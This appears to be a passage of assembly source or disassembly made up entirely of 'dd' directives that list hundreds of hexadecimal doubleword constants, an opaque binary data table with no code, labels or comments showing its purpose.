dd 0ED30C40Fh, 2834C038h, 1FF067E7h, 0CE734C3Ch, 30001C89h
dd 2B4794BAh, 99AC7E00h, 0E05BEBDFh, 2A24002Dh, 51C64854h
dd 2C1FBD36h, 0C009B74h, 0BCA6901Fh, 0D7220105h, 0BBD8DD33h
dd 0B79FFC36h, 0C9F3FE00h, 0B857DC8Bh, 0B0410007h, 7BAD48E4h
dd 7801C19Eh, 0E9B48E2Dh, 2ED0F7D1h, 50181861h, 0E594C864h
dd 0C8C49503h, 0D8B0BDEEh, 1EF78B3h, 0D432AE6Ch, 0EC7C42BEh
dd 620065CCh, 6E0C3004h, 82D543h, 0AB2FF04Bh, 1BEB635Ah
dd 0F3513800h, 24F9AEDCh, 0C9FD00EFh, 0F51CB8C8h, 3E3D6E92h
dd 788925E4h, 0AE931DCBh, 724647BCh, 626C109Bh, 0D5040BDEh
dd 9301E63Bh, 0B2A2E880h, 32971D99h, 94D43C21h, 0A3EC0058h
dd 6614ACDh, 9301DF10h, 0F6649C69h, 28E8E157h, 2CF700F1h
dd 830FC00Eh, 62008874h, 0BA46158Dh, 1CA38Ch, 33C77814h
dd 76167AF7h, 0E4CF7080h, 0E67AC9h, 38A6E52h, 0FD94646Dh
dd 410EE80Eh, 124E403Ah, 0DD1060h, 0E94654CAh, 0A317FDBAh
dd 0CB006D78h, 57F770BCh, 7252C8Dh, 3CFF0E9Dh, 56948043h
dd 3A009933h, 0EBC1FB9Eh, 9FF2C0h, 7692429h, 0FA9838B5h
dd 17004B7Fh, 30253931h, 12F42037h, 0A9735Bh, 0FCF5DCB7h
dd 0D8078E35h, 0C4B33C51h, 777109Ch, 0E059F746h, 396E100Fh
dd 0D0008FAEh, 0C3EAAFE4h, 2AD717h, 0C84963A0h, 85C2568Ch
dd 5AFB1400h, 0E35880DEh, 38070077h, 0CEF023AEh, 680F8C2Eh
dd 0C06CD197h, 267C96B5h, 473300F9h, 36DDEABEh, 25006F67h
dd 0FA63AFDEh, 0AA7E69h, 7162AE0Fh, 51261301h, 58688F30h
dd 23CCA5Fh, 8846D3A1h, 0E7806EEEh, 0CB0E2101h, 49FAD81Eh
dd 6BCD7CC0h, 14F06C85h, 846623F9h, 8D52710Fh, 8C9BFB00h
dd 22007E9Ch, 948E3876h, 1291F85Ch, 3E98BCh, 470A28B4h
dd 0FF030B21h, 7F69C1AAh, 32B8B035h, 480E1D3Ch, 78E480B0h
dd 90875F41h, 9CF23Eh, 3F512B59h, 0ABB547h, 12CF242Eh
dd 8F55609Ah, 2657E203h, 0E71C6F70h, 59149E20h, 1C4BFC8Ch
dd 80AA0437h, 23F1F0E6h, 0BF07F280h, 38A315EFh, 57DFDB10h
dd 7CA50F2Fh, 0F54021CBh, 0CABC806Ch, 99D3400h, 0C40BE0AEh
dd 40C00C7h, 723CB90Dh, 0E7F28624h, 3106E48h, 36E4EBF8h
dd 553D90DFh, 2DCD0028h, 0E025336Fh, 4D0E0469h, 0C02A8B7Ah
dd 0D0AB582Ch, 0D9F118B3h, 0CAEFBC87h, 3FF8F700h, 0AE946E3Dh
dd 0C680010Eh, 92722BA7h, 3AA84071h, 0D100B827h, 0E0030F14h
dd 176E8859h, 10FF0D61h, 0F9018C0Eh, 0D3CAAC11h, 3822E0C2h
dd 73C0E300h, 0E25B9281h, 0D72B09D6h, 90004CB5h, 6A18C472h
dd 1FB8BF00h, 24D1B955h, 30A7EC9Eh, 98D069C2h, 0E400582Fh
dd 0CD571175h, 14FB331h, 0A92A5FE8h, 20BDDC6Ah, 257D20F9h
dd 11475A09h, 0C54487B8h, 9E2E93C0h, 67210065h, 0B6373354h
dd 0CF48A01h, 90F56900h, 2F8992FBh, 219700A0h, 22EE425Fh
dd 0CB3E6F25h, 1BC580DAh, 0CE163AD3h, 9E933F9Ah, 196CFA00h
dd 93EEB29h, 0A0DA8524h, 0F6A41400h, 924880h, 1F293FBCh
dd 56725E53h, 5C7CEA00h, 0FB238386h, 0CC92006Dh, 9E410C8Ah
dd 800446Ah, 0AEB11B0Fh, 0E33BA31h, 0F60924A7h, 0A949A40h
dd 9800AA68h, 44640248h, 797F16Ah, 0A3196276h, 0F485E05Bh
dd 3A00095Eh, 149BA413h, 0B028A852h, 327845h, 0D1823724h
dd 4161BAEFh, 0D0906077h, 0A2C13000h, 2BF77E92h, 0E9D304A9h
dd 8078B1B6h, 8A7BD6EEh, 7EABDE00h, 51FAAE6Bh, 0EE66014Ch
dd 0A1649ACDh, 0BBADDC40h, 0A94F860Fh, 0D5848001h, 0AFDAE8h
dd 3DB39717h, 0DDE36606h, 3E2B5000h, 0DEBD56F5h, 0D94E007Ch
dd 2860E496h, 0B9030A65h, 81F01C85h, 0B10CD871h, 0AF363D63h
dd 2E4F5002h, 8C03D12h, 0CCFCB36Fh, 0FC3C7118h, 0BFAE42h
dd 0E81C5D76h, 0B0C797AFh, 2F8F1900h, 0B1A19AD5h, 50B54899h
dd 0BD46E300h, 31A33934h, 0D4FB6D07h, 0F0C06063h, 2D28C6h
dd 8CDE1CA0h, 0BB7DA398h, 83D5CC0Ah, 5D00E454h, 6F392FEBh
dd 73CB3CD0h, 0C9108A89h, 0E041DC07h, 0CCBEBB26h, 0D53AAE07h
dd 0F7476479h, 20367560h, 815F3809h, 7654A00h, 0E24876AFh
dd 1D064F00h, 0B0DB8ED1h, 0D41F0F7Ch, 1BCA9B6Dh, 3A0A07D0h
dd 8392147Eh, 0DBB80E84h, 7300088Eh, 0CBE6B341h, 2CF082D3h
dd 2CDC983Eh, 7FD2C6Ch, 1004FEABh, 0CEA526F5h, 576F5C00h
dd 668246D2h, 14A0C09Fh, 0BD0A204h, 0CE889800h, 6CF41C0Eh
dd 0D29F075Eh, 6087FE96h, 0A3EAF67h, 66788900h, 0FCC50939h
dd 41C714FFh, 0B200F8D8h, 335C4B24h, 78007067h, 0EF1A2B40h
dd 7B02DCh, 0C92690Bh, 592DD66Bh, 8926FA00h, 0FE11AD55h
dd 12B47853h, 44443487h, 807850A4h, 67A60194h, 58B5331Ch
dd 7A3E7202h, 0A7F44097h, 0A268006Eh, 0D4A835B1h, 0A280678h
dd 3B00E464h, 8D2B9BC2h, 9FCE175h, 201A5CB8h, 0BD76A400h
dd 540998FEh, 54DBB70Eh, 0ACBB00AEh, 0B247537Ah, 487858h
dd 0FE840680h, 1D4BDA0Ch, 0C0E4D998h, 16A08C30h, 3800237Eh
dd 3FBF81Fh, 853B4Bh, 2927797Fh, 0D8125069h, 0F49A2F00h
dd 0F3C39BDDh, 1FB907B1h, 0EFBDD4EBh, 0FF41EE45h, 9FAA8D00h
dd 727F5DFAh, 6BB60096h, 0CF89A214h, 75003CF7h, 74B25301h
dd 27E58Ah, 4E62A426h, 7E5240AFh, 36ACFA00h, 68644BB4h
dd 9B7575h, 6AA85E14h, 53B2E69Eh, 0FC016E7Eh, 42991BFDh
dd 8240054Ch, 881F14h, 0E0AAF0CBh, 98C49A91h, 1710DC01h
dd 3C7E244h, 0A010E03Eh, 3DD2291Fh, 9237CD00h, 0CF0FCh
dd 0C88B0D23h, 9C20D347h, 45FB9800h, 3EAA9F4Bh, 42A5001Dh
dd 0C0906F74h, 0B200E5D5h, 580E6CDBh, 0E43027F2h, 223502AFh
dd 477A2D56h, 0CFD43CE8h, 9F14E900h, 660C4B18h, 1585248Eh
dd 0F5730384h, 87A83F17h, 0F300289Eh, 0A0D09107h, 7DAD49F7h
dd 0A4583D03h, 0C34A8280h, 0B7978EE6h, 76C2F400h, 5BFCD76Ch
dd 2A2F00E8h, 5A79651Fh
dd 2000D9CAh, 285CB76Eh, 18A3745Dh, 288326Ch, 0C9FE49A0h
dd 785AF61Eh, 5C80C09Dh, 421A92A3h, 44BC4C06h, 0DE845B00h
dd 0F8836690h, 0D5B03FE8h, 0ADDD9A15h, 318C800Ch, 0ED5621h
dd 2960E85Fh, 69542E25h, 2096100h, 937A909Ch, 128F00C4h
dd 0AE4BDDE2h, 5E0EDAECh, 205033B1h, 0C88EA6F2h, 0C50A0093h
dd 193C40CCh, 79002F13h, 4420607h, 24BE35ABh, 0A8432Dh
dd 0F8A55129h, 610047D2h, 6F3B85AEh, 0B47472h, 45C2211Dh
dd 34B209A7h, 47AD9817h, 0B564E701h, 0E6DCBB4Eh, 0D6930084h
dd 44B01594h, 9D1289D3h, 0F609EBE9h, 202D8FF6h, 5E46A5DBh
dd 0DC570096h, 3F92EE71h, 823AA85Ah, 1BD7893Dh, 0A4280056h
dd 9EF0E69h, 0AC64B586h, 352ACC80h, 0E300DB62h, 0A80322ABh
dd 0E89FCE53h, 1EA918C8h, 0B124C865h, 131506Fh, 430CE186h
dd 0E1860h, 0DD88E246h, 1BF510AFh, 19A98B15h, 80A63D1Ch
dd 0AF01112Ch, 2E2348D4h, 92193E5h, 9A832DD1h, 8BC0242Bh
dd 65005C22h, 0DE9F028Ch, 0A8CF6C31h, 743E4FA4h, 0A8B50039h
dd 0F5269754h, 5C18D18Bh, 9999ABA5h, 0CD79039Dh, 49DB6E2Ch
dd 0F0233E89h, 0C6F8BFDDh, 0ED323601h, 0AF488177h, 246DB340h
dd 26780051h, 1E89F70Ah, 3201ED09h, 0D60FA5D4h, 0E07EF676h
dd 0F707BC25h, 1DE635C5h, 1F12BF90h, 7F757858h, 6D7B071Bh
dd 7118ECEDh, 0C8C9B52Fh, 5D4A3E0Eh, 7300F016h, 22A6B79Dh
dd 632B761Bh, 0DC8718D5h, 6FE552B8h, 38A25000h, 0E0DD04Fh
dd 7BBFF8CEh, 57145C81h, 99A70078h, 471DD46Ch, 2E70242Ah
dd 0C8D5E200h, 1C2DD3B5h, 0C2C7C9Fh, 92FD722Bh, 8D540450h
dd 0E4000EA0h, 64BA01DEh, 0EC86E232h, 23A10662h, 18111674h
dd 3CADF300h, 0D92DC2B7h, 0AE1E0761h, 8F55C5A4h, 6D2E2C3h
dd 0E1F02800h, 0D3A2C875h, 0E940F26h, 0CF80BD23h, 0A1511A6Ch
dd 210030E6h, 0F687BB9Eh, 353862h, 4AA2D357h, 18AC55Eh
dd 0F8AF0518h, 9CA920Ah, 215C02A8h, 15441600h, 0C13C071Ch
dd 0C0160413h, 0EBF03EB2h, 4D1D024h, 0F1007CB8h, 0ACAB23C1h
dd 24D27025h, 518B008h, 0C09572A7h, 1882A28Eh, 0B4AF7828h
dd 0ADA92A09h, 0F5C0A034h, 0CA2BBE8Ah, 0E4058F8h, 0C724D587h
dd 1C9402Fh, 3813A6Eh, 0A9ABC551h, 11A30E99h, 7C02139h
dd 1959E76Eh, 0D4AE32C0h, 6349C1Fh, 34CB4C67h, 0D691C00h
dd 1ECA6D16h, 0BD6607E0h, 9626D7C3h, 6B0198DBh, 885FA6C0h
dd 4048DFD5h, 446E0803h, 12C40181h, 6E60C24Eh, 8818AF5Eh
dd 0E809F930h, 245D021Bh, 9D00A26Ch, 0DA68C0A0h, 791C473Ch
dd 4002BF30h, 24A655F3h, 20C4B81h, 5AD2445Eh, 16A1C99h
dd 0FC24A732h, 48A00F3h, 9964BB1Ch, 0D9044052h, 49342BBDh
dd 0D4C03CC9h, 3D1EF81Ah, 2F1879C3h, 2C0408EEh, 0BBE020C0h
dd 1DD3261Ah, 1DE3CC9h, 411BE3A1h, 911CE531h, 95802D50h
dd 8B1ED61Ah, 2BFC208Ch, 1ABCF500h, 64F6F480h, 63730059h
dd 815FA77Ch, 0E0508418h, 28261B8Ch, 0A0091CFFh, 6A409061h
dd 0BA260F16h, 8CA0B35Dh, 4544C6FFh, 0D3C54F0Ch, 542B380Dh
dd 0F3AB804h, 0F73285Fh, 31EDA80h, 9F09C878h, 272EADBCh
dd 6F500A50h, 0CB3A802h, 0EBB1DACFh, 0C921608h, 6F46F100h
dd 95418EE5h, 0D8A10021h, 52083048h, 189971C1h, 80D4363Ah
dd 1CD34660h, 0A8826F39h, 11DB231Bh, 31101714h, 18E0DC6Fh
dd 0E97566AFh, 6101595Fh, 7F58BB7Ch, 41E87628h, 0B3B439A9h
dd 1A25978Fh, 6CA40768h, 29B07700h, 14D6D004h, 0F40ED986h
dd 2B43F2E8h, 0B23C1B0Fh, 0F9B66A41h, 901C20B9h, 4015F426h
dd 32315201h, 0A980D862h, 8C6CCC44h, 8B0DB3F4h, 8255702h
dd 8E00BC32h, 97C96CD4h, 0E005BB5h, 575CFD61h, 4B8A6D1h
dd 469594B9h, 2E608003h, 0D0C2047h, 417461ABh, 0D9DE1708h
dd 369D0F6Ch, 5B77E340h, 6E26BBC2h, 6400CCC4h, 0A9CE0A07h
dd 212F622h, 6324A204h, 0FC8EA7B0h, 0DE28B874h, 2D246CCh
dd 0A8406F44h, 110F4243h, 0EF1113CCh, 41D7003Ch, 72F30E4Eh
dd 6420BC2Ah, 8675AD37h, 0C688C255h, 116CCB30h, 88ABF48Bh
dd 0D3918168h, 0CC586B6Ch, 0CC909D06h, 5A14FEF8h, 4D4B6DCh
dd 0A6A172A9h, 4E432C80h, 0C89D61E8h, 2145F423h, 19C40366h
dd 9AF6D388h, 83BC4258h, 0F8C4A3C6h, 674804Eh, 0F2BEB6CAh
dd 4188023h, 6829AA49h, 821D00B1h, 0CE7A50D3h, 1406751Ch
dd 7263E056h, 0B1870FA9h, 20E008F4h, 0C9EF4BA9h, 0CA47400Fh
dd 0BC2E82D0h, 3A94A11Bh, 99D4788Fh, 83FB008Ch, 1D9B3E54h
dd 3601D6DCh, 0AACAAC7Eh, 0B057A804h, 23474170h, 0BA4501E1h
dd 0D1E61A2Bh, 6608949Dh, 35F380FCh, 4CB51F6Ah, 30003684h
dd 0D02FA552h, 0F83A3D80h, 8A37819Dh, 0E59E8DDAh, 5581A447h
dd 9047FDB7h, 49522AE0h, 61A4A2DEh, 9D18E114h, 812E6E08h
dd 4B34C431h, 2F5E80ECh, 76C037h, 9AFAC6F0h, 4A38A22h
dd 12E428A5h, 5F482360h, 0A94834EFh, 0D060C9FAh, 0C7A72EA0h
dd 50BF499Fh, 56F2D80h, 448C3BA8h, 4500F00Dh, 0A3A1E06Fh
dd 0B6D8F50h, 7A96D66Ch, 0FFC8188Eh, 3B465028h, 9508CD3Fh
dd 6BC4BBF4h, 6CD59B43h, 91B136E0h, 75948C04h, 7C83CDA6h
dd 861EB335h, 1B240458h, 3D71822h, 0C1A21DA7h, 0D08273C2h
dd 3F3153C6h, 0E3813C92h, 33DBF4D1h, 0E1978314h, 0B6BBB86Ch
dd 71A8004Eh, 0AEDDB1Ah, 730B5C6Ah, 20C7CB1Eh, 0FE0FA084h
dd 0BF1D1818h, 3137542Bh, 8970A600h, 0E4660176h, 0EFD90503h
dd 4026D4BCh, 7A61B098h, 4B007DECh, 517F82AEh, 0ABA6021Ch
dd 0E44588ACh, 0C17D0963h, 3A0E86FBh, 3C897138h, 4737D701h
dd 0A4A3A8DCh, 35BEF050h, 74745D48h, 0DE003C39h, 3347FD90h
dd 0AB484072h, 0D22D1354h, 0A03EA80Bh, 0FA3099FCh, 7E8B911h
dd 0C0AE71D6h, 2B9B4020h, 0F221BF0Eh, 844756DEh, 0E2827858h
dd 64E5E0B2h, 79B8B1BEh, 0FA18EDh, 57C82312h, 39B4E5CCh
dd 4E752C05h, 0E8225664h, 11702A26h, 6E2E80DAh, 43998147h
dd 26D5100Eh, 6E25E900h, 5E55183h, 420F0B75h, 80F87ACEh
dd 0CFCD6CB0h, 0D1DC128Ch, 47808C0Fh, 70FB8890h, 0C403C2F8h
dd 577925C5h, 0EA5900BBh, 0DF39B9E6h, 0A80019F4h, 5F1E50DBh
dd 9BBE441h, 723C8A3Fh, 0B0033D83h, 0D1BCCFF8h, 0D4A7E90Ah
dd 880FC1Eh, 3C6FE87Fh, 9D1A0063h, 0F3164A19h, 2002843Bh
dd 0E2BA6241h, 16C05126h, 739C2FBEh, 3E4908Ch, 9C6B1B7Ch
dd 80A77687h, 67C566E3h, 2820454Bh, 2C0BF384h, 11D06124h
dd 1A8980A1h, 0A7AB1ECAh, 0D0E100E4h, 0B253941Ah, 625F000h
dd 22A6F572h, 0BCDA485Ah, 0E4BAA439h, 0B449304Ch, 854AB2Eh
dd 8C15D0A9h, 0E0948FC0h, 7D47ECC0h, 87BB3909h, 972FF313h
dd 0C922F018h, 53F27176h, 427974B1h, 0B303AC18h, 43C0E4EFh
dd 8630E1E5h, 42D5160h, 0D4E66AF5h, 0C878B0BCh, 8458F84Ch
dd 0D23163F0h, 23F4C86Ch, 0E480448Ch, 0F66CD800h, 20B8FA18h
dd 4B6F6A6h, 8692F051h, 397CA0E6h, 0FBE36AF0h, 0FCC81012h
dd 139F2C80h, 4BD803B6h, 5CF67A6Bh, 5018679Fh, 59353D1Fh
dd 251A843Bh, 0B228222Dh, 65B061D8h, 74480073h, 7F8CDEB8h
dd 36EC00F9h, 0F60C0370h, 651F5573h, 293161A7h, 60201A24h
dd 1D09DEAFh, 9ABC807Ah, 89F21E18h, 0B0391600h, 26E8D1C7h
dd 0D8DE5837h, 84C06848h, 0A4F70C5Fh, 3D6A9F02h, 90BE5279h
dd 4B33F2A4h, 23602F47h
dd 0CE90013h, 0FBD74187h, 67685400h, 0A4A62FBAh, 11C9EF7h
dd 0E8F0EADEh, 0B8D02CE1h, 2643CAh, 0D52944ADh, 35210930h
dd 0CBA85759h, 0C012C8ACh, 99EE843Eh, 2F762A1Ch, 1E0DEF87h
dd 64901265h, 0B2D694D9h, 8CFCA370h, 0CC1A8B60h, 969B1E25h
dd 0D2EB0064h, 9160D11Ah, 0C90267FEh, 95186226h, 4548500Ch
dd 2CB6D9CBh, 6D8709BCh, 75244866h, 880A6F16h, 98C46529h
dd 42372C74h, 0D2800805h, 1FD00F3Bh, 0C09F03B0h, 9658E72Eh
dd 2401686Ah, 74755A47h, 4189A1AEh, 6CE380A9h, 31E139C1h
dd 0C44EA04h, 299E4230h, 2D1220h, 0DBE2871Ch, 49309B78h
dd 0F0D65Ch, 6766DE04h, 73CD19Fh, 756B2FD2h, 0C8D0647Bh
dd 77004284h, 9F474955h, 96A2EC60h, 0BD3560B4h, 0E89154C4h
dd 0A2184379h, 344D9A01h, 0FD85BEBFh, 3A78E1FCh, 0B5049861h
dd 84D4AD2Ah, 0A248A3C0h, 0EFB30DEh, 3AB0A30Ch, 3BD719CEh
dd 0BA2A5A75h, 0E5620CCh, 0BD76340Eh, 0C4CC4963h, 71D4B120h
dd 1FC31817h, 18552BAh, 26B392C4h, 0C002D94h, 89D93AA9h
dd 393CECA4h, 14CEFF45h, 5B00E428h, 88EF9312h, 31FEE125h
dd 29EE550Bh, 0B07885A6h, 412E204Fh, 939DF869h, 3BB8F439h
dd 0E2404700h, 0F61DCC8Eh, 8BEA2E83h, 0D3D603B4h, 99E17BFDh
dd 88A9E27Ch, 0ABC0AC4Dh, 45527Ah, 0E02C6E5Bh, 90A0B412h
dd 5CC2049h, 132A9D6Fh, 0D43998D3h, 0A8E764A2h, 6CFB6C0h
dd 8A730EACh, 50189E9Dh, 43491E1Dh, 944F0920h, 6100A1B2h
dd 19A769ADh, 74305CAAh, 0BA00E146h, 2B114591h, 0FF74AB57h
dd 9DAE6912h, 0E08E6085h, 7C0F888h, 260E23ABh, 13884065h
dd 37AC61D3h, 0A181F06Eh, 23FD208Ch, 1E0C65Ch, 21E8C160h
dd 602CE1FFh, 2343FDB8h, 4DB90201h, 2C9F9A8Ch, 0DDAD15B8h
dd 0A8040298h, 0E8435572h, 0A802D434h, 315AA9F8h, 0E9186595h
dd 0F7083253h, 0BC81C0A8h, 38019EE9h, 0FE9FF95Ch, 8530535Ah
dd 0E6482A24h, 78BE4994h, 0D40164B8h, 6B756097h, 0F4EC0870h
dd 63A30055h, 0A99C2D56h, 0D66EFD52h, 0A17DCEC0h, 28E182B0h
dd 0AA3EB823h, 8518FB33h, 8C4FB904h, 3883123Eh, 21DDE2CDh
dd 9CC5AF69h, 0C02A57B1h, 378C8B00h, 7C09AB0Dh, 0E510E66h
dd 2181BF3Ch, 0E896D571h, 55317AA6h, 958A8845h, 14BC6468h
dd 0EF49008Ch, 0B85F3A98h, 0CE0B09FBh, 24CA5AAFh, 54812954h
dd 1D002F19h, 737C26FCh, 2848A45Ah, 1AD7C227h, 287B88E1h
dd 0BEEFB08Ch, 0CF00F1Ah, 0D280B5F3h, 7B5A55E5h, 115B2F16h
dd 642D881h, 0C4D0C850h, 90413D08h, 50E95F80h, 6FD41EECh
dd 0CC4B7900h, 0D659332Fh, 242A2D61h, 8500E437h, 0FBABFE3Dh
dd 8D0B0136h, 0D84D847Dh, 75422070h, 4028DA26h, 4EDD003Bh
dd 0CB84D96Bh, 0A1251ED6h, 2A843BB0h, 0F312C652h, 26D7B104h
dd 0E026BA0Ch, 2F015E4Fh, 0C53E0CD8h, 621D2180h, 318DC2CCh
dd 0FC01ADE4h, 4C7E6DA2h, 0D5429425h, 566060AEh, 1749E2Fh
dd 0ADB06A75h, 5CDC28F7h, 8CE1BCA0h, 4173AD01h, 66FFBB36h
dd 1E30F3D0h, 93215920h, 23F02FC7h, 0EA40016h, 0FF4E534Bh
dd 7618350Eh, 14DF8284h, 44B46C30h, 523C57D7h, 0B605123Ch
dd 0C40FC00Ah, 59BAAF8Dh, 15F20072h, 0D661730h, 26307E1Eh
dd 0B5C04150h, 521D002Eh, 36952470h, 0AECF80D4h, 0F80E9A86h
dd 61B04709h, 0B91052D6h, 18117194h, 777C00EAh, 721F0F5Ah
dd 0CC58826Dh, 0D9570C34h, 4E32822h, 6BDB685Ch, 1100A2AFh
dd 64802F20h, 0DCAC2841h, 0AA81CF24h, 408C0738h, 95D0BDCAh
dd 79F52CF0h, 66BA0258h, 49709604h, 0A967F8E6h, 0ACA0D7F1h
dd 9E5D51h, 0B1BEF285h, 10054602h, 4456F005h, 1840DC47h
dd 0A788C3CBh, 271A006Dh, 898C21BEh, 921597B3h, 7B428ADh
dd 71F9DE06h, 85689EA1h, 9D841C8h, 8B2DB0C0h, 50F53C10h
dd 5ABB470Ch, 16A9E963h, 95677222h, 0C0AC9BD0h, 0BB8B143Dh
dd 0E5770126h, 466C4E23h, 4DB43D28h, 2C3A4BF4h, 9E004523h
dd 12060734h, 0B8960509h, 0C264F2E0h, 9C785054h, 34090098h
dd 0A0154F47h, 8D72A768h, 0B9D8C974h, 0A6003051h, 695B9840h
dd 9CBD07A9h, 0D0B9CC4Ch, 0B023EB9Dh, 81758E13h, 4404B412h
dd 94E40CBEh, 0BA042236h, 78D1796Ch, 5D26CBB7h, 2B1BC4A2h
dd 45F9C7Ah, 0BF982440h, 0CC0DACDh, 8D9ACB46h, 0BC60ADE2h
dd 56E44F49h, 64B906FAh, 39666230h, 3A7095EEh, 75BE5Ch
dd 0C5582087h, 772831h, 0B7F88059h, 0D50ABA44h, 97882F25h
dd 241608F4h, 0DB89F160h, 66901836h, 8E8D796Dh, 13077300h
dd 0C4DCC033h, 25DFE40h, 8141E61h, 3040D86Ah, 2E00B06Dh
dd 0A46B76D4h, 2594268Eh, 0E4A4D552h, 1AD2602Ah, 0D31E27D7h
dd 0F607AC96h, 455B1AB9h, 0C7D72240h, 0A78204D3h, 0C21C475Dh
dd 4030D680h, 4D78B86Fh, 1E883C23h, 6F3880BDh, 3D52A815h
dd 6C8B9568h, 7FE4F8EDh, 0FB57006Bh, 949945A3h, 0F6D0001Ch
dd 9A7F6AC1h, 510EE0E9h, 0C0AE4919h, 0D18346C3h, 0B6F507BCh
dd 0B0E5C597h, 7FDB1E38h, 149BE206h, 0F6387BAFh, 0A7EE009Fh
dd 4EF011Ch, 273AF8C4h, 9B901807h, 1F6BA20h, 0C15AD6A7h
dd 6037134Ah, 0A16042CFh, 543C9158h, 45A2000Eh, 0E138E0A4h
dd 30A4129Bh, 26A7F802h, 19077F01h, 0E0841091h, 0E3D20FA7h
dd 0FC803355h, 3DEC1869h, 58D1F831h, 57E042EDh, 49A8031Eh
dd 0C4C0FB78h, 0D058F900h, 0CCEA11A6h, 47E41987h, 0BD700884h
dd 0A6C80021h, 24210D5Dh, 0C5EB0001h, 45AEBF42h, 0DD07ABE1h
dd 1AB64E52h, 947110E0h, 0FC901959h, 4E3841FAh, 7CEB1C04h
dd 0F0C72E40h, 3BE133B4h, 0F6BE4448h, 0ED567D07h, 0EC4B8089h
dd 331C5B9Bh, 0C7475F84h, 878917CDh, 2F504E4Ch, 49F0EAh
dd 5EFA7823h, 0E773D4C7h, 1B0969C0h, 361F83Bh, 6967E44Bh
dd 0D5A39B83h, 7E22210Eh, 0ECDC273Bh, 5D0F8C90h, 264A02E9h
dd 0A3C3D44h, 0B29AA080h, 0D818FA6Ah, 0E9E070E5h, 2B911854h
dd 0F1D33816h, 7E50C361h, 0C9F8DD4Eh, 0B80C3BCEh, 90A41280h
dd 0E3D3B4E8h, 4506670Ch, 7A7F2022h, 27285816h, 0C1842043h
dd 0F81B6308h, 7EE04B68h, 28396043h, 6421D778h, 904698CCh
dd 33EB067Dh, 0E8E86660h, 44C3A00h, 637C1CDDh, 0CE24FE7Bh
dd 20B82008h, 4091427h, 990766h, 0B7AB6A14h, 21101906h
dd 20135869h, 48CF71Ch, 0EA4DA6DCh, 205962ECh, 78A6D483h
dd 5F6DC3Dh, 0D718D363h, 9C359804h, 40F84C90h, 0CB2C00FEh
dd 95032E39h, 7F909366h, 0EC80D412h, 449E9400h, 10C5E5C4h
dd 0D20435h, 0D10269F0h, 3F4F9D07h, 0CE800DD9h, 5E39223Dh
dd 0AFE29946h, 1908F49h, 1D6506DFh, 8E615268h, 853E30h
dd 7CC54AFBh, 0EDDF92Dh, 7DD14E0Fh, 0E17865E7h, 0A6DE7420h
dd 0FCEA234Bh, 8D007311h, 0C76EA6D6h, 0C2026CFFh, 4110A131h
dd 489C8089h, 7F9B2Fh, 1F26C6D8h, 86444298h, 6EE4CD09h
dd 0C8580464h, 0EC3B3067h, 448C2B61h, 3200260Ch, 8CEE0F3Bh
dd 0BAEB6h, 40A1E859h, 66B06C9Fh, 0F9C7CA7Dh, 9AE0F025h
dd 0F605E7BEh, 395A00A7h, 467F8FAh, 0ED0495D4h, 8D3E686Dh
dd 0D802AC81h, 0B8895BD5h, 7484B7E8h, 0A7E36019h, 2701107Fh
dd 8093C807h, 14A62BBFh, 0AE007251h, 35E46BCCh, 0B0DE2611h
dd 0C10905Dh, 90A57C59h, 7CA4CA70h, 0EE3B1904h, 0F621B61h
dd 3B342420h, 0C8EB0039h, 0B41DB2D9h, 30091EDBh, 0E6543CFh
dd 55100674h, 7643961h
dd 0DA891CBEh, 0B4807033h, 0C1FCCC3Fh, 0A3450C6h, 11046E0h
dd 118A7FAh, 970C040Fh, 0E28688h, 858BB8A7h, 6A614F32h
dd 5CEEB092h, 0A2935F01h, 0E711DA44h, 1C192DF4h, 5865E31h
dd 0A7555B8h, 5EF85FACh, 4700D246h, 0D8A1456Fh, 48C074B1h
dd 9DC14EA3h, 0BACE24C7h, 60A906D8h, 0F8729167h, 1D1C2001h
dd 91613799h, 2BEBC34h, 8E3B0174h, 6449EC2Dh, 0A0A1C275h
dd 0F0DF1C7Fh, 9F246978h, 0EA8F70C2h, 1847934Ch, 815736CCh
dd 8DCA1371h, 5B918C50h, 0A8100067h, 0A2278F50h, 2401ED48h
dd 979D1CAAh, 0E027C5AFh, 831A6B3Eh, 2860188Ch, 5B80B144h
dd 9947339Ch, 0D8244831h, 55041CD0h, 0D648598Bh, 0FA3B25C0h
dd 22BB4661h, 302000D4h, 4F9C273Bh, 0C6146865h, 0BCFCE1CEh
dd 0C248C94h, 960C2835h, 742EA09Dh, 35E26F9h, 1214C494h
dd 0BE23202Eh, 1E437103h, 1CB9E673h, 80288F91h, 0F1C82513h
dd 6C2A57ABh, 1D3FC41Eh, 6ACA86E8h, 30495A67h, 0D7B18BA0h
dd 91008A15h, 4EA6094Ch, 2449FFh, 427E7A9h, 0A28BDACCh
dd 548F1A00h, 0D49C0515h, 0DF3106ABh, 0A1EA10EDh, 0E3911313h
dd 0C0D55008h, 61F93B26h, 23835343h, 8BE23B7Dh, 742BDDE0h
dd 54769D01h, 2119DEEAh, 0B9E15860h, 189179A0h, 837E03BFh
dd 877923D0h, 100DB4B0h, 28B94926h, 664CF44h, 0A061F3FCh
dd 10D05489h, 73B3729h, 0C118790Dh, 2D130136h, 7EA08D34h
dd 30DAF87Bh, 0ED113B1Ah, 0EE883361h, 3B312780h, 2B0932Bh
dd 3D589651h, 0E8C39403h, 60D491ECh, 0D4B42463h, 64D5CA00h
dd 0A60F7A2Ch, 2A6512D1h, 312C0082h, 2FA1C28Fh, 7AF506C1h
dd 8C649903h, 1617018Ch, 0E2F29AD9h, 0C7308296h, 40043014h
dd 7E651FACh, 48789822h, 0F88008AFh, 0DC5192EDh, 1DCD0C00h
dd 8CE19AB0h, 18890BCh, 0ACBD1A3Dh, 0C4544838h, 58CE8882h
dd 0D3507D4Fh, 7DEB7C0Bh, 44A28B0h, 6C1CDF11h, 51803688h
dd 1C700412h, 9AE633ADh, 5C990E50h, 9E5101E1h, 0CCE0F4h
dd 2B0F9BCBh, 6ADF3219h, 0CA377902h, 40989FF1h, 9275C050h
dd 0A9040370h, 6D77D544h, 58638D80h, 7A121B09h, 195C019Fh
dd 64C4E4D0h, 0E698126Fh, 16340860h, 1AA7ECC0h, 605F5801h
dd 0A7F4B8E0h, 97EA6500h, 32EFBF7Ah, 264B0004h, 7FE557CDh
dd 0BE2489C0h, 46763859h, 943D1CD1h, 40609C82h, 817C66F6h
dd 131828B0h, 0BCD00426h, 5A70D82Ch, 5D040A1Bh, 2CDC547Ch
dd 807E11F8h, 1CDE044Dh, 33448CB4h, 4150050h, 4B3F05E9h
dd 1B15B5DEh, 2944541h, 19CAE525h, 4A7860B3h, 367580ACh
